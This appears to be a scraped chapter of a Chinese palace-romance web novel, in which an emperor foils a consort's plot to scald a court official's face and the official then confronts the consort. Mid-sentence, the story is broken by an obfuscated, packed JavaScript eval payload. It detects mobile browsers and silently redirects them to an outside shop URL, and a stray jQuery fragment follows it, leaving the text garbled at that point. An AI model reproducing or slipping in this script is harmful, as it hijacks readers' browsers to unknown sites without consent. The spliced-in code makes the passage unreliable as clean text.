“呵,”贺骁冷笑一声,“终于按捺不住了么?”
黑鹰没有应,静静等待领命。
贺骁拿出两个信封,一个红色蜡封,一个银色蜡封。
他的声音不带一丝温度,却带着不容置疑的笃定:“红色的给镇国公送去,银色的给文澜居送去。”
黑鹰拿着两封信,又消失在紫宸殿。
-----------------
汀芷殿,鲜花环绕,香气四溢。殿内摆设流光溢彩,极尽奢靡。这是柳贵妃柳如烟的寝殿。
一名小内侍正跪伏在柳贵妃脚下,浑身发抖,不敢抬头。
桂嬷嬷在女官廨舍吃了哑巴亏,正和柳贵妃哭诉:“娘娘,姓姜的狐媚子实在是太猖狂了,仗着得了陛下的青眼就目中无人,娘娘给的赏赐她是一样也没收,这不明摆着打娘娘的脸吗?”
柳如烟的手“砰”的一声拍在身边的小几上,戴着护甲的指尖扫到了旁边的茶盏,茶盏晃了两下,被她眼疾手快地稳住。
柳如烟本是定安侯嫡女,出自武将世家,自带一股英气,蛾眉入鬓,一双丹凤眼炯炯有神,眼尾上扬。她的声音并不像其他闺秀一般轻柔,偏向中性。
这会没有外人在,她声调极高,有些沙哑道:“还在藩邸之时,还能与陛下碰上面。在他登基之后,这偌大的皇宫竟是连一面也见不上了,除了宫廷宴饮之时,能遥遥地望他一眼。这姜婉宁又是凭着什么手段,就能进了紫宸殿?不过一届罪臣之女罢了。”
顿了顿,柳如烟又似想起什么,对身前的小内侍道:“你刚说姜婉宁每日戌时才回女官廨舍?”
小内侍低声应是。
桂嬷嬷小心翼翼地觑着柳如烟的神色,眼珠子一转:“娘娘是这个后宫里最尊贵的人,还能让她一个女官骑在头上?她不过是凭着一张狐狸皮一时魅惑了陛下,娘娘艳绝六宫,姿色更胜一筹。如若没有这狐媚子挡路,娘娘定是陛下放在心尖上宠着的独一份。”
柳贵妃听了桂嬷嬷的话,心里舒畅许多,端起茶盏,轻轻抿了一口:“既然她仗着这张狐狸皮才如此嚣张跋扈,那不如我们就毁了这张皮。”她抬了抬下颚,给了身前跪着的小内侍一个眼神,咬牙切齿道:“本宫就给你三天时间,当着陛下的面毁了她。调任内府局的事,本宫就应了你。”
小内侍不由自主地抖了抖,又扬起一张谄媚的笑脸,脆声道:“奴婢定尽心尽力。”
-----------------
紫宸殿正殿。
按照姜婉宁的方法,贺骁批阅奏折的效率提高了不少,上午已经把重要且紧急的事项全都处理完毕。
下午正在查看姜婉宁列出的紧急但不重要的事项。
面对这些扯皮的事儿,贺骁最是不爱当判官,眉心就没有展平过,但好在他处理起来极快,凭着直觉大刀阔斧地朱批。
姜婉宁又把重要但不紧急的奏折分门别类,按时间线排序码放。
贺骁坐在御座上批阅,姜婉宁就站在他的左手边帮忙圈重点和递折子,二人并排像是流水作业一样。
这时,一个小内侍端着一个托盘进来。
宝顺向贺骁汇报道:“陛下,小厨房新熬的甘露羹,趁热给您送来了。”
贺骁连眼皮都没抬,道:“嗯。”
小内侍抬眼瞄了下御案后的二人。
宝公公见贺骁没有反对,就让小内侍端过去。此时姜婉宁正专注在眼前的奏折上,并未留意有人走近。
而贺骁敏锐地察觉到,小内侍没有像常人一样从他的右手边把汤盅递过来,而是故意走的姜婉宁那边。
眼看着他离御案越来越近,突然重心一歪,人就失去了平衡,手中的汤盅在他手腕的巧力之下,直直地朝着姜婉宁的脸泼去。
姜婉宁的余光感觉到有什么朝她扑面而来,而眼前全部都是奏折,她第一反应是“完了!弄脏了洁癖暴君的机要文件可能就不是杖责二十了!”,紧接着触发了现代社畜保护电脑的本能,倾身向前企图护住奏折。
“找死。”贺骁低吼道。
他一把抓住她的腰带向后一拽,姜婉宁整个人被一股力量牵引着向后倒去。而那个汤盅也被他的衣袖一挡,从御案上跌落。
“砰”的一声,汤盅先磕在了御案边缘,而后坠落在名贵的地毯上,终是承受不住力道碎裂开来,汤水溢出,烫得滋滋作响。
姜婉宁惊魂未定地看着眼前的狼藉,她的衣襟上沾了一些汤水,怀里紧紧抱着几本奏折。
而后背隔着薄薄的衣衫,是贺骁坚硬的胸膛,她甚至能感觉到贺骁紧绷的肌肉线条,和咚咚作响的心跳,还有那从四面八方笼罩着她的奇楠香。
她不可抑制地颤抖了一下,前世濒死的画面又重现眼前,鼻翼间萦绕着的就是这种冷冽的香气,她触电般地弹起,不敢回头看那个男人,背脊僵直,冷汗浸湿了衣衫。
贺骁看着姜婉宁的反应不明所以。她是被这碗热汤吓着了?
那碗热汤向她迎面泼来的时候,她的第一反应竟然是护住那些奏折。自古女子没有不爱惜自己容颜的,她竟把这些奏折看得比自己的脸还重要?
贺骁盯着姜婉宁的侧颜,他看见女人被吓得脸色煞白,连往日不点而朱的樱唇,都褪去了颜色,此刻正紧紧地抿在一起。
而且,自己刚才可以说是救了她,她连头都不回一下,好似躲着他一般。贺骁挡住汤盅的那条手臂垂在身后,手腕转了转,眼睫垂落,这女人怎么撞进朕怀里就跟见了鬼一样?
喉结滚了两圈,贺骁低声道:“吓着了?你这副狼狈的样子,不要在朕跟前碍眼,回去梳洗一下,今儿不必过来了。”
姜婉宁这才回过神来,连忙低头行礼告退,没再看贺骁一眼。
待姜婉宁离开后,贺骁转向跪在一边瑟瑟发抖的小内侍。
殿内气温骤降,他的眼神冰冷地好像在看一件死物,缓缓开口道:“这双手既如此没用,不如砍了吧。”
小内侍惊恐地瞪大了双眼,拼命地磕头,牙关打颤地高呼:“陛下饶命!”
宝顺应是,侍卫押解着小内侍刚要退出去,贺骁又道:“这双手听了谁的话,便给谁还回去吧。”
宝顺在心里打了个冷战,没想到陛下这么快就猜到幕后指使之人了?可得叫掖庭局好生拷问一番。
-----------------
姜婉宁回到女官廨舍,重新梳洗了一下,换好衣服,人已经冷静了下来。
突然想到,也不知休这几个时辰,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701176|208182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皇帝会不会扣她俸禄,索性还是回紫宸殿当差吧。
再次迈出女官廨舍的门,姜婉宁正走在长长的宫道上,迎面而来一队人。
下午刚打发走桂嬷嬷,没想到这会她主子就找来了。
姜婉宁自知来者不善,在心里权衡着借刀杀人和走为上计哪个更好用。上一世虽说吃了柳如烟不少暗亏,但她并没有和这个人正面打过交道,印象中只有嚣张跋扈四个字,不过定安侯府的嫡女,当朝太后的亲侄女,说是天之骄女也不为过,确实有嚣张的资本。
姜婉宁看对方一队人等在通往紫宸殿的必经之路上,深知躲也躲不过,硬着头皮走上前去,行了个常礼:“贵妃娘娘安好。”
柳如烟目光赤裸裸地上下打量着姜婉宁。
见她是典型的世家贵女,身姿绰约面容姣好,尤其是一双秋水明眸,眼尾上扬,灵动又勾人。怪不得陛下会喜欢她,相比之下,自己还是太粗鲁了吗?柳如烟摇摇头,甩掉了脑中对自己的质疑。
“你就是姜婉宁?那个御前女官?”柳如烟语气中透着不屑,“竟是这副矫揉造作的模样?”
姜婉宁刚要回话,但还没等她开口,柳如烟又自顾自道:“你可知陛下喜欢的一直是我这种有武将之风的飒爽女子。本宫真的很好奇,你究竟是用了什么旁门左道,本该砍了头的罪臣之女,竟破格升了御前女官?”
姜婉宁没想到柳如烟说话如此直白,她敛了敛神色,郑重其事回道:“贵妃娘娘是在说臣用了旁门左道,还是说陛下有眼无珠、受人蛊惑、良莠不分、识人不清?”
柳如烟没想到姜婉宁上来就给她扣帽子,柳眉倒竖:“大胆!你这贱婢,怎么和本宫说话呢?本宫说的是你,一定是你用了什么下作手段,狐媚惑主。陛下就是心肠太软,才被你蒙蔽了。”
姜婉宁一挑眉,没想到贺骁这在外出了名的暴君,在柳如烟的嘴里竟成了心软之人。
不过想一想那笔每个月都发放的抚恤金,这说法也不算空穴来风,想来真正关注他的人自然会发现他心底那一方柔软吧。
这么看这柳如烟,竟有几分可爱。
姜婉宁又一躬身道:“陛下治罪的是家父姜承安,许是怜臣毫不知情,且配合陛下收集罪证,便给了臣一次改过的机会吧。至于能在御前当差,自然是凭的真才实学,娘娘还是不要妄加揣测的好。”
“你!”柳如烟气得浑身发抖,“姜女官这一张嘴好生厉害,一会说本宫妄加揣测圣意,一会说本宫认为陛下识人不清。这么会两顶大帽子扣下来,本宫可不敢当!”
“娘娘若对臣有任何不满,可以上折子直达御前,实在不必在此与臣浪费口舌。臣还要到御前当差,先告辞了。”姜婉宁行了一礼,头也不回地大步离开。
柳如烟一人气得在原地跺脚。
姜婉宁回到紫宸殿,见贺骁正站在御案之前,高大挺拔的身躯,斜飞入鬓的剑眉,挺括的鼻梁和刀削般的下颌线,杀伐之气溢出,无论如何也不像心肠软的样子。
贺骁突然抬起头,眼神极具穿透力地看向她,姜婉宁又不自觉地一抖。
“刚才在朕怀里,你在发抖。”贺骁的语气中带着一丝危险的探究,“小命保住了,御前女官的官职到手了,你还在怕朕,为什么?”